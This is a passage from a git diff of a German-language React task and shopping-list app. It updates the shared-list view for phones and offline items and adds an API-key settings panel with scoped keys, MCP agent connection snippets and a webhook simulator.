||||||
<div className="flex items-center justify-end gap-2 pt-2 border-t border-border">
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
onClick={() => setShowNewListModal(false)}
|
|
||||||
className="btn-action h-7 px-3 text-xs"
|
|
||||||
>
|
|
||||||
Abbrechen
|
|
||||||
</button>
|
|
||||||
<button type="submit" className="btn-primary h-7 px-3 text-xs">
|
|
||||||
Erstellen
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</form>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
)}
|
)}
|
||||||
|
|
||||||
{/* Active Shared List View */}
|
{/* Active Shared List View */}
|
||||||
{activeList ? (
|
{activeList ? (
|
||||||
<div className="space-y-4">
|
<div className="space-y-4">
|
||||||
{/* Quick-Add Form */}
|
{/* Phones: "+" opens the add form as a sheet; it stays open for the next item */}
|
||||||
|
{isPhone && showAddSheet && (
|
||||||
|
<FormSheet
|
||||||
|
title={`Auf „${activeList.title}“`}
|
||||||
|
icon={<ShoppingCart className="w-4 h-4 text-accent" />}
|
||||||
|
onClose={() => setShowAddSheet(false)}
|
||||||
|
onSubmit={handleAddItem}
|
||||||
|
submitLabel="Hinzufügen"
|
||||||
|
busy={isSubmittingItem}
|
||||||
|
>
|
||||||
|
<div className="flex flex-col gap-2 relative">{renderAddItemFields(false)}</div>
|
||||||
|
</FormSheet>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Quick-Add Form (desktop; on phones it is the sheet above) */}
|
||||||
|
{!isPhone && (
|
||||||
<form
|
<form
|
||||||
onSubmit={handleAddItem}
|
onSubmit={handleAddItem}
|
||||||
className="flex flex-col sm:flex-row items-center gap-2 panel-surface p-2 sm:p-1.5 relative"
|
className="flex flex-col sm:flex-row items-stretch sm:items-center gap-2 panel-surface p-2 relative"
|
||||||
>
|
>
|
||||||
<div className="relative flex items-center gap-2 flex-1 w-full px-1.5">
|
{renderAddItemFields(true)}
|
||||||
<Plus className="w-4 h-4 text-accent flex-shrink-0" />
|
|
||||||
<input
|
|
||||||
ref={inputRef}
|
|
||||||
type="text"
|
|
||||||
value={newItemText}
|
|
||||||
onChange={(e) => {
|
|
||||||
setNewItemText(e.target.value);
|
|
||||||
setCursorPosition(e.target.selectionStart);
|
|
||||||
setShowSuggestions(true);
|
|
||||||
setSuggestionIndex(0);
|
|
||||||
}}
|
|
||||||
onKeyDown={handleInputKeyDown}
|
|
||||||
onSelect={(e) => {
|
|
||||||
setCursorPosition(e.currentTarget.selectionStart);
|
|
||||||
}}
|
|
||||||
onFocus={(e) => {
|
|
||||||
setCursorPosition(e.target.selectionStart);
|
|
||||||
setShowSuggestions(true);
|
|
||||||
}}
|
|
||||||
onBlur={() => {
|
|
||||||
setTimeout(() => setShowSuggestions(false), 200);
|
|
||||||
}}
|
|
||||||
placeholder={`Eintrag zu "${activeList.title}" hinzufügen (z. B. Hafermilch #Kühlregal)…`}
|
|
||||||
className="flex-1 bg-transparent py-1.5 sm:py-1 text-sm text-main placeholder-faint focus:outline-none"
|
|
||||||
/>
|
|
||||||
|
|
||||||
{/* Hashtag Autocomplete Suggestions Dropdown */}
|
|
||||||
{showSuggestions && activeHashtagQuery && matchingSuggestions.length > 0 && (
|
|
||||||
<div className="absolute left-6 top-full mt-2 w-64 max-h-56 overflow-y-auto bg-panel-elevated border border-border rounded-btn shadow-xl py-1 z-50 animate-in fade-in zoom-in-95 duration-100">
|
|
||||||
<div className="px-2.5 py-1 text-[10px] uppercase font-semibold text-faint tracking-wider border-b border-border/50">
|
|
||||||
Hashtags
|
|
||||||
</div>
|
|
||||||
{matchingSuggestions.map((tag, idx) => {
|
|
||||||
const isSelected = idx === suggestionIndex;
|
|
||||||
return (
|
|
||||||
<button
|
|
||||||
key={tag}
|
|
||||||
type="button"
|
|
||||||
onMouseDown={(e) => {
|
|
||||||
e.preventDefault();
|
|
||||||
applySuggestion(tag);
|
|
||||||
}}
|
|
||||||
className={`w-full text-left px-3 py-2 sm:py-1.5 text-xs flex items-center justify-between transition-colors ${
|
|
||||||
isSelected
|
|
||||||
? 'bg-accent/20 text-accent font-medium'
|
|
||||||
: 'text-main hover:bg-panel-hover'
|
|
||||||
}`}
|
|
||||||
>
|
|
||||||
<span className="flex items-center gap-1.5">
|
|
||||||
<span className="text-accent font-mono font-semibold">#</span>
|
|
||||||
<span>{tag}</span>
|
|
||||||
</span>
|
|
||||||
{isSelected && (
|
|
||||||
<span className="text-[10px] text-faint font-mono">↵</span>
|
|
||||||
)}
|
|
||||||
</button>
|
|
||||||
);
|
|
||||||
})}
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
<div className="flex items-center gap-1.5 w-full sm:w-auto justify-end px-1 sm:px-0">
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
value={newItemQty}
|
|
||||||
onChange={(e) => setNewItemQty(e.target.value.replace(/[^0-9.,xX]/g, ''))}
|
|
||||||
placeholder="Menge (z.B. 2)"
|
|
||||||
className="flex-1 sm:flex-none sm:w-28 h-9 sm:h-7 px-2.5 sm:px-2 input-field text-xs"
|
|
||||||
/>
|
|
||||||
<button
|
|
||||||
type="submit"
|
|
||||||
disabled={isSubmittingItem || !newItemText.trim()}
|
|
||||||
className="btn-primary h-9 sm:h-7 px-3.5 sm:px-3 text-xs disabled:opacity-40 disabled:cursor-not-allowed flex items-center gap-1 flex-shrink-0"
|
|
||||||
>
|
|
||||||
{isSubmittingItem ? 'Wird hinzugefügt…' : 'Hinzufügen'}
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</form>
|
</form>
|
||||||
|
)}
|
||||||
|
|
||||||
{/* Open Items Grouped by Hashtags / Categories */}
|
{/* Open Items Grouped by Hashtags / Categories */}
|
||||||
{openItems.length === 0 ? (
|
{openItems.length === 0 ? (
|
||||||
@@ -1177,6 +1295,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
setDraggingItemId(null);
|
setDraggingItemId(null);
|
||||||
setDragOverItemTarget(null);
|
setDragOverItemTarget(null);
|
||||||
setDragOverCategoryTarget(null);
|
setDragOverCategoryTarget(null);
|
||||||
|
setDragOverListTab(null);
|
||||||
}}
|
}}
|
||||||
onDragOver={(e) => handleItemDragOver(e, item.id)}
|
onDragOver={(e) => handleItemDragOver(e, item.id)}
|
||||||
onDragLeave={(e) => handleItemDragLeave(e, item.id)}
|
onDragLeave={(e) => handleItemDragLeave(e, item.id)}
|
||||||
@@ -1217,6 +1336,11 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
<span className="text-sm font-medium text-main truncate">
|
<span className="text-sm font-medium text-main truncate">
|
||||||
{displayContent}
|
{displayContent}
|
||||||
</span>
|
</span>
|
||||||
|
{item.id.startsWith(OFFLINE_ITEM_PREFIX) && (
|
||||||
|
<span title="Offline hinzugefügt – wird gesendet, sobald die Verbindung zurück ist">
|
||||||
|
<CloudOff className="w-3.5 h-3.5 text-faint shrink-0" />
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
|
||||||
{editingQtyItemId === item.id ? (
|
{editingQtyItemId === item.id ? (
|
||||||
<div className="flex items-center gap-1" onClick={(e) => e.stopPropagation()}>
|
<div className="flex items-center gap-1" onClick={(e) => e.stopPropagation()}>
|
||||||
@@ -1236,7 +1360,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
onBlur={async () => {
|
onBlur={async () => {
|
||||||
await handleSaveQuantity(item.id, editingQtyValue);
|
await handleSaveQuantity(item.id, editingQtyValue);
|
||||||
}}
|
}}
|
||||||
className="w-16 h-6 px-1.5 text-xs input-field font-semibold text-accent text-center"
|
className="w-16 h-8 sm:h-6 px-1.5 text-base sm:text-xs input-field font-semibold text-accent text-center"
|
||||||
placeholder="Menge"
|
placeholder="Menge"
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
@@ -1266,6 +1390,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{renderItemAuthor(item)}
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
draggable={false}
|
draggable={false}
|
||||||
@@ -1349,7 +1474,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
onBlur={async () => {
|
onBlur={async () => {
|
||||||
await handleSaveQuantity(item.id, editingQtyValue);
|
await handleSaveQuantity(item.id, editingQtyValue);
|
||||||
}}
|
}}
|
||||||
className="w-16 h-6 px-1.5 text-xs input-field font-semibold text-accent text-center"
|
className="w-16 h-8 sm:h-6 px-1.5 text-base sm:text-xs input-field font-semibold text-accent text-center"
|
||||||
placeholder="Menge"
|
placeholder="Menge"
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
@@ -1374,6 +1499,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="flex items-center gap-2">
|
<div className="flex items-center gap-2">
|
||||||
|
{renderItemAuthor(item)}
|
||||||
{item.completedByName && (
|
{item.completedByName && (
|
||||||
<span className="text-xs text-faint">✓ {item.completedByName}</span>
|
<span className="text-xs text-faint">✓ {item.completedByName}</span>
|
||||||
)}
|
)}
|
||||||
|
|||||||
@@ -0,0 +1,470 @@
|
|||||||
|
import React, { useEffect, useState } from 'react';
|
||||||
|
import {
|
||||||
|
Key,
|
||||||
|
Plus,
|
||||||
|
Trash2,
|
||||||
|
Copy,
|
||||||
|
Check,
|
||||||
|
Webhook,
|
||||||
|
Zap,
|
||||||
|
Terminal,
|
||||||
|
Bot,
|
||||||
|
} from 'lucide-react';
|
||||||
|
import { APIKey, ApiKeyScope, PriorityLevel, SharedList, TaskList } from '../../lib/types';
|
||||||
|
import { api, triggerHaptic } from '../../lib/api';
|
||||||
|
import { ToggleSwitch } from '../../components/ToggleSwitch';
|
||||||
|
|
||||||
|
interface ApiKeysPanelProps {
|
||||||
|
onIngested?: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
// What a key may do: deliver data (webhooks) or read and change tasks and lists for AI agents (MCP)
|
||||||
|
const SCOPES: { id: ApiKeyScope; label: string; hint: string; group: 'webhook' | 'agent' }[] = [
|
||||||
|
{ id: 'webhook:triage', label: '📥 Triage / Inbox', hint: 'Gedanken in die Inbox einliefern', group: 'webhook' },
|
||||||
|
{ id: 'webhook:task', label: '📋 Aufgaben anlegen', hint: 'Aufgaben direkt anlegen', group: 'webhook' },
|
||||||
|
{ id: 'webhook:list', label: '📝 Listeneinträge anlegen', hint: 'Einträge zu Listen hinzufügen', group: 'webhook' },
|
||||||
|
{ id: 'tasks:read', label: '📋 Aufgaben lesen', hint: 'Aufgabenlisten und Aufgaben lesen, suchen', group: 'agent' },
|
||||||
|
{ id: 'tasks:write', label: '✅ Aufgaben ändern', hint: 'Aufgaben anlegen, ändern und abhaken', group: 'agent' },
|
||||||
|
{ id: 'lists:read', label: '📝 Listen lesen', hint: 'Listen und ihre Einträge lesen', group: 'agent' },
|
||||||
|
{ id: 'lists:write', label: '🛒 Listen ändern', hint: 'Einträge hinzufügen, ändern und abhaken', group: 'agent' },
|
||||||
|
];
|
||||||
|
const scopeLabel = (id: string) => SCOPES.find((s) => s.id === id)?.label || id;
|
||||||
|
const isAgentScope = (sc: string) => SCOPES.find((s) => s.id === sc)?.group === 'agent';
|
||||||
|
|
||||||
|
type SimTarget = 'triage' | 'task' | 'list_item';
|
||||||
|
type McpClient = 'claude' | 'codex' | 'json';
|
||||||
|
|
||||||
|
// Personal API keys with scopes (switches), MCP connection snippets, a webhook simulator and copyable
|
||||||
|
// examples (settings → Webhooks, KI-Agenten & Export)
|
||||||
|
export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
|
||||||
|
const [keys, setKeys] = useState<APIKey[]>([]);
|
||||||
|
const [newKeyName, setNewKeyName] = useState('');
|
||||||
|
const [newKeyScopes, setNewKeyScopes] = useState<ApiKeyScope[]>(['webhook:triage']);
|
||||||
|
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
|
||||||
|
const [copiedKey, setCopiedKey] = useState(false);
|
||||||
|
const [mcpClient, setMcpClient] = useState<McpClient>('claude');
|
||||||
|
|
||||||
|
// Live Webhook Simulator State
|
||||||
|
const [simTitle, setSimTitle] = useState('Waschmaschine im Keller ist fertig!');
|
||||||
|
const [simPriority, setSimPriority] = useState<PriorityLevel>('high');
|
||||||
|
const [simTarget, setSimTarget] = useState<SimTarget>('triage');
|
||||||
|
const [simListId, setSimListId] = useState('');
|
||||||
|
const [simTaskListId, setSimTaskListId] = useState('');
|
||||||
|
const [simStatus, setSimStatus] = useState<string | null>(null);
|
||||||
|
const [lists, setLists] = useState<SharedList[]>([]);
|
||||||
|
const [taskLists, setTaskLists] = useState<TaskList[]>([]);
|
||||||
|
|
||||||
|
const loadKeys = async () => {
|
||||||
|
const k = await api.getAPIKeys();
|
||||||
|
setKeys(k);
|
||||||
|
};
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
loadKeys();
|
||||||
|
api.getAllLists().then(setLists).catch(() => {});
|
||||||
|
api.getTaskLists().then(setTaskLists).catch(() => {});
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const toggleScope = (id: ApiKeyScope) => {
|
||||||
|
setNewKeyScopes((prev) => {
|
||||||
|
const next = prev.includes(id) ? prev.filter((s) => s !== id) : [...prev, id];
|
||||||
|
return next.length > 0 ? next : prev; // at least one
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleCreateKey = async (e: React.FormEvent) => {
|
||||||
|
e.preventDefault();
|
||||||
|
triggerHaptic(15);
|
||||||
|
const created = await api.createAPIKey(newKeyName.trim() || 'Home Assistant', newKeyScopes);
|
||||||
|
if (created.rawKey) {
|
||||||
|
setNewlyCreatedKey(created.rawKey);
|
||||||
|
}
|
||||||
|
setNewKeyName('');
|
||||||
|
setNewKeyScopes(['webhook:triage']);
|
||||||
|
await loadKeys();
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleDeleteKey = async (id: string) => {
|
||||||
|
if (!window.confirm('Diesen API-Schlüssel wirklich widerrufen?')) return;
|
||||||
|
triggerHaptic(20);
|
||||||
|
await api.deleteAPIKey(id);
|
||||||
|
await loadKeys();
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleCopy = (text: string) => {
|
||||||
|
navigator.clipboard.writeText(text);
|
||||||
|
setCopiedKey(true);
|
||||||
|
setTimeout(() => setCopiedKey(false), 2000);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleSimulateWebhook = async () => {
|
||||||
|
triggerHaptic(20);
|
||||||
|
if (simTarget === 'list_item' && !simListId) {
|
||||||
|
setSimStatus('❌ Bitte eine Liste wählen.');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
// With a freshly created key the simulator tests exactly that key (and its scopes)
|
||||||
|
await api.testWebhookIngest(newlyCreatedKey, {
|
||||||
|
title: simTitle,
|
||||||
|
priority: simPriority,
|
||||||
|
tags: simTarget === 'list_item' ? [] : ['smarthome', 'automation'],
|
||||||
|
target: simTarget,
|
||||||
|
taskListId: simTarget === 'task' ? simTaskListId || undefined : undefined,
|
||||||
|
listId: simTarget === 'list_item' ? simListId : undefined,
|
||||||
|
});
|
||||||
|
setSimStatus(
|
||||||
|
simTarget === 'task'
|
||||||
|
? '✅ Webhook erfolgreich ausgelöst! Die Aufgabe ist angelegt.'
|
||||||
|
: simTarget === 'list_item'
|
||||||
|
? '✅ Webhook erfolgreich ausgelöst! Der Eintrag steht in der Liste.'
|
||||||
|
: '✅ Webhook erfolgreich ausgelöst! Neue Karte liegt in deiner Inbox.'
|
||||||
|
);
|
||||||
|
onIngested?.();
|
||||||
|
setTimeout(() => setSimStatus(null), 4000);
|
||||||
|
} catch (err: any) {
|
||||||
|
setSimStatus(`❌ Fehler: ${err.message}`);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const exampleToken = newlyCreatedKey || 'mindsift_sec_dein_api_key';
|
||||||
|
const baseUrl = window.location.origin;
|
||||||
|
const examplePayload =
|
||||||
|
simTarget === 'task'
|
||||||
|
? `{
|
||||||
|
"target": "task",
|
||||||
|
"title": "Filter der Lüftungsanlage wechseln",
|
||||||
|
"priority": "high",
|
||||||
|
"dueDate": "2026-11-15T09:00"${simTaskListId ? `,\n "taskListId": "${simTaskListId}"` : ''}
|
||||||
|
}`
|
||||||
|
: simTarget === 'list_item'
|
||||||
|
? `{
|
||||||
|
"target": "list_item",
|
||||||
|
"listId": "${simListId || 'ID_DER_LISTE'}",
|
||||||
|
"content": "Hafermilch",
|
||||||
|
"quantity": "2"
|
||||||
|
}`
|
||||||
|
: `{
|
||||||
|
"title": "Kellerfeuchtigkeit über 70%",
|
||||||
|
"priority": "urgent",
|
||||||
|
"tags": ["smarthome", "keller"]
|
||||||
|
}`;
|
||||||
|
|
||||||
|
const mcpUrl = `${baseUrl}/api/v1/mcp`;
|
||||||
|
const mcpSnippet =
|
||||||
|
mcpClient === 'claude'
|
||||||
|
? `claude mcp add --transport http mindsift ${mcpUrl} \\
|
||||||
|
--header "X-API-Key: ${exampleToken}"`
|
||||||
|
: mcpClient === 'codex'
|
||||||
|
? `# ~/.codex/config.toml
|
||||||
|
[mcp_servers.mindsift]
|
||||||
|
url = "${mcpUrl}"
|
||||||
|
http_headers = { "X-API-Key" = "${exampleToken}" }`
|
||||||
|
: `{
|
||||||
|
"mcpServers": {
|
||||||
|
"mindsift": {
|
||||||
|
"type": "http",
|
||||||
|
"url": "${mcpUrl}",
|
||||||
|
"headers": { "X-API-Key": "${exampleToken}" }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}`;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="space-y-6">
|
||||||
|
{/* API keys */}
|
||||||
|
<div>
|
||||||
|
<div className="flex items-center gap-3 mb-2">
|
||||||
|
<div className="w-8 h-8 bg-accent text-on-accent flex items-center justify-center flex-shrink-0">
|
||||||
|
<Key className="w-4 h-4" />
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<h3 className="text-sm font-bold text-main">API-Schlüssel für Webhooks und KI-Agenten</h3>
|
||||||
|
<p className="text-xs text-muted">
|
||||||
|
Verbinde Home Assistant, n8n, eigene Skripte oder KI-Agenten (Claude Code, Codex …) mit MindSift. Was ein
|
||||||
|
Key darf, legst du pro Key fest; Notizen bleiben für Keys immer unerreichbar.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<form onSubmit={handleCreateKey} className="mt-3 space-y-2">
|
||||||
|
<div className="flex flex-col sm:flex-row gap-2">
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
value={newKeyName}
|
||||||
|
onChange={(e) => setNewKeyName(e.target.value)}
|
||||||
|
placeholder="Bezeichnung (z. B. Home Assistant, Proxmox Backup, Rauchmelder)…"
|
||||||
|
className="w-full sm:flex-1 min-w-0 h-11 sm:h-9 px-3 input-field text-base sm:text-sm"
|
||||||
|
/>
|
||||||
|
<button type="submit" className="btn-primary h-11 sm:h-9 px-4 text-sm flex items-center justify-center gap-1.5">
|
||||||
|
<Plus className="w-4 h-4" />
|
||||||
|
<span>API-Key erzeugen</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div className="grid grid-cols-1 lg:grid-cols-2 gap-3" role="group" aria-label="Berechtigungen des Keys">
|
||||||
|
{(
|
||||||
|
[
|
||||||
|
['webhook', 'Einliefern (Webhooks)', 'POST /api/v1/webhooks/ingest'],
|
||||||
|
['agent', 'KI-Agenten (MCP)', 'POST /api/v1/mcp'],
|
||||||
|
] as const
|
||||||
|
).map(([group, heading, path]) => (
|
||||||
|
<div key={group} className="border border-border rounded-card bg-panel px-3 py-1.5">
|
||||||
|
<p className="text-[11px] text-muted pt-1 pb-0.5 flex flex-wrap justify-between gap-x-2">
|
||||||
|
<span className="font-semibold">{heading}</span>
|
||||||
|
<code className="font-mono">{path}</code>
|
||||||
|
</p>
|
||||||
|
{SCOPES.filter((sc) => sc.group === group).map((sc) => {
|
||||||
|
const on = newKeyScopes.includes(sc.id);
|
||||||
|
return (
|
||||||
|
<div key={sc.id} className="flex items-center justify-between gap-3 min-h-[44px] sm:min-h-[36px]">
|
||||||
|
<div className="min-w-0">
|
||||||
|
<span className="block text-xs text-main">{sc.label}</span>
|
||||||
|
<span className="block text-[11px] text-muted">{sc.hint}</span>
|
||||||
|
</div>
|
||||||
|
<ToggleSwitch checked={on} onChange={() => toggleScope(sc.id)} title={sc.label} />
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
{newlyCreatedKey && (
|
||||||
|
<div className="mt-3 p-3 bg-accent/15 border border-accent/30 flex flex-wrap items-center justify-between gap-3">
|
||||||
|
<div className="min-w-0">
|
||||||
|
<p className="text-xs font-semibold text-accent mb-1">Neuer API-Schlüssel erstellt (bitte jetzt kopieren):</p>
|
||||||
|
<code className="text-xs sm:text-sm font-mono text-main break-all">{newlyCreatedKey}</code>
|
||||||
|
</div>
|
||||||
|
<button onClick={() => handleCopy(newlyCreatedKey)} className="btn-primary h-8 px-3 text-xs">
|
||||||
|
{copiedKey ? <Check className="w-3.5 h-3.5" /> : <Copy className="w-3.5 h-3.5" />}
|
||||||
|
<span>{copiedKey ? 'Kopiert!' : 'Key kopieren'}</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Active Keys List */}
|
||||||
|
<div className="mt-3 border border-border divide-y divide-border">
|
||||||
|
{keys.length === 0 ? (
|
||||||
|
<p className="text-xs text-faint px-3 py-2">Noch keine dedizierten API-Schlüssel hinterlegt.</p>
|
||||||
|
) : (
|
||||||
|
keys.map((k) => (
|
||||||
|
<div key={k.id} className="px-3 py-2 bg-canvas flex items-center justify-between gap-3">
|
||||||
|
<div className="min-w-0 flex flex-wrap items-center gap-x-3 gap-y-1">
|
||||||
|
<span className="text-sm font-medium text-main">{k.name}</span>
|
||||||
|
<span className="text-xs font-mono text-accent">{k.keyPrefix}</span>
|
||||||
|
{k.scopes
|
||||||
|
.split(',')
|
||||||
|
.filter(Boolean)
|
||||||
|
.map((sc) => (
|
||||||
|
<span
|
||||||
|
key={sc}
|
||||||
|
className={`px-1.5 py-0.5 rounded-btn border text-[10px] ${
|
||||||
|
isAgentScope(sc) ? 'border-accent/40 text-accent' : 'border-border text-muted'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
{scopeLabel(sc)}
|
||||||
|
</span>
|
||||||
|
))}
|
||||||
|
{k.lastUsedAt && (
|
||||||
|
<span className="text-xs text-faint">
|
||||||
|
Zuletzt genutzt: {new Date(k.lastUsedAt).toLocaleDateString('de-DE')}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
onClick={() => handleDeleteKey(k.id)}
|
||||||
|
className="btn-icon btn-icon-danger w-7 h-7 shrink-0"
|
||||||
|
aria-label={`API-Key ${k.name} löschen`}
|
||||||
|
>
|
||||||
|
<Trash2 className="w-3.5 h-3.5" />
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
))
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* AI agents (MCP) */}
|
||||||
|
<div className="pt-4 border-t border-border">
|
||||||
|
<div className="flex items-center gap-3 mb-3">
|
||||||
|
<div className="w-7 h-7 bg-accent text-on-accent flex items-center justify-center flex-shrink-0">
|
||||||
|
<Bot className="w-4 h-4" />
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<h3 className="text-sm font-bold text-main">KI-Agenten anbinden (MCP)</h3>
|
||||||
|
<p className="text-xs text-muted">
|
||||||
|
MindSift ist ein MCP-Server: Claude Code, Codex, Claude Desktop, Cursor und eigene Agenten können offene
|
||||||
|
Aufgaben lesen, abhaken und anlegen sowie Listen führen. Dafür braucht der Key die Agenten-Berechtigungen.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="flex flex-wrap gap-1.5 mb-2" role="radiogroup" aria-label="Agent">
|
||||||
|
{(
|
||||||
|
[
|
||||||
|
['claude', 'Claude Code'],
|
||||||
|
['codex', 'OpenAI Codex'],
|
||||||
|
['json', 'Claude Desktop / Cursor'],
|
||||||
|
] as const
|
||||||
|
).map(([value, label]) => (
|
||||||
|
<button
|
||||||
|
key={value}
|
||||||
|
type="button"
|
||||||
|
role="radio"
|
||||||
|
aria-checked={mcpClient === value}
|
||||||
|
onClick={() => setMcpClient(value)}
|
||||||
|
className={`h-11 sm:h-8 px-3 rounded-btn border text-xs transition-colors ${
|
||||||
|
mcpClient === value ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
{label}
|
||||||
|
</button>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
<pre className="p-3 bg-canvas border border-border font-mono text-xs text-main overflow-x-auto">{mcpSnippet}</pre>
|
||||||
|
<p className="mt-2 text-[11px] text-faint">
|
||||||
|
Werkzeuge: <code className="font-mono">list_task_lists</code>, <code className="font-mono">list_tasks</code>,{' '}
|
||||||
|
<code className="font-mono">complete_task</code>, <code className="font-mono">create_task</code>,{' '}
|
||||||
|
<code className="font-mono">update_task</code>, <code className="font-mono">list_lists</code>,{' '}
|
||||||
|
<code className="font-mono">get_list</code>, <code className="font-mono">add_list_item</code>,{' '}
|
||||||
|
<code className="font-mono">check_list_item</code>, <code className="font-mono">search</code>,{' '}
|
||||||
|
<code className="font-mono">capture_to_inbox</code>. Der Agent sieht nur die Werkzeuge, für die der Key
|
||||||
|
berechtigt ist; Freigaben gelten wie für dich selbst. ChatGPT im Browser und claude.ai brauchen OAuth und
|
||||||
|
werden noch nicht unterstützt.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Simulator */}
|
||||||
|
<div className="pt-4 border-t border-border">
|
||||||
|
<div className="flex items-center gap-3 mb-3">
|
||||||
|
<div className="w-7 h-7 bg-accent text-on-accent flex items-center justify-center flex-shrink-0">
|
||||||
|
<Webhook className="w-4 h-4" />
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<h3 className="text-sm font-bold text-main">Live Smarthome Webhook-Simulator</h3>
|
||||||
|
<p className="text-xs text-muted">
|
||||||
|
Teste den Webhook-Endpunkt direkt hier
|
||||||
|
{newlyCreatedKey ? ' – mit dem eben erzeugten Key und seinen Berechtigungen.' : ' – mit deiner Anmeldung.'}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="flex flex-wrap gap-1.5 mb-3" role="radiogroup" aria-label="Ziel">
|
||||||
|
{(
|
||||||
|
[
|
||||||
|
['triage', '📥 Inbox'],
|
||||||
|
['task', '📋 Aufgabe'],
|
||||||
|
['list_item', '📝 Listeneintrag'],
|
||||||
|
] as const
|
||||||
|
).map(([value, label]) => (
|
||||||
|
<button
|
||||||
|
key={value}
|
||||||
|
type="button"
|
||||||
|
role="radio"
|
||||||
|
aria-checked={simTarget === value}
|
||||||
|
onClick={() => setSimTarget(value)}
|
||||||
|
className={`h-11 sm:h-8 px-3 rounded-btn border text-xs transition-colors ${
|
||||||
|
simTarget === value ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
{label}
|
||||||
|
</button>
|
||||||
|
))}
|
||||||
|
{simTarget === 'list_item' && (
|
||||||
|
<select
|
||||||
|
value={simListId}
|
||||||
|
onChange={(e) => setSimListId(e.target.value)}
|
||||||
|
className="h-11 sm:h-8 px-2 input-field text-base sm:text-xs bg-panel"
|
||||||
|
aria-label="Liste"
|
||||||
|
>
|
||||||
|
<option value="">Liste wählen…</option>
|
||||||
|
{lists.map((l) => (
|
||||||
|
<option key={l.id} value={l.id}>
|
||||||
|
{l.icon} {l.title}
|
||||||
|
</option>
|
||||||
|
))}
|
||||||
|
</select>
|
||||||
|
)}
|
||||||
|
{simTarget === 'task' && (
|
||||||
|
<select
|
||||||
|
value={simTaskListId}
|
||||||
|
onChange={(e) => setSimTaskListId(e.target.value)}
|
||||||
|
className="h-11 sm:h-8 px-2 input-field text-base sm:text-xs bg-panel"
|
||||||
|
aria-label="Aufgabenliste"
|
||||||
|
>
|
||||||
|
<option value="">Ohne Aufgabenliste</option>
|
||||||
|
{taskLists.map((tl) => (
|
||||||
|
<option key={tl.id} value={tl.id}>
|
||||||
|
{tl.icon} {tl.title}
|
||||||
|
</option>
|
||||||
|
))}
|
||||||
|
</select>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{simTarget === 'triage' && (
|
||||||
|
<div className="flex flex-wrap gap-1.5 mb-3">
|
||||||
|
{[
|
||||||
|
{ label: '🧺 Waschmaschine fertig', text: 'Waschmaschine im Keller ist fertig – Wäsche aufhängen!', prio: 'high' as PriorityLevel },
|
||||||
|
{ label: '🚨 Rauchmelder Batterie', text: 'Rauchmelder Dachgeschoss meldet niedrige Batterie (12%)', prio: 'urgent' as PriorityLevel },
|
||||||
|
{ label: '💧 Luftfeuchtigkeit Keller', text: 'Kellerfeuchtigkeit über 70% – Lüften oder Entfeuchter starten', prio: 'urgent' as PriorityLevel },
|
||||||
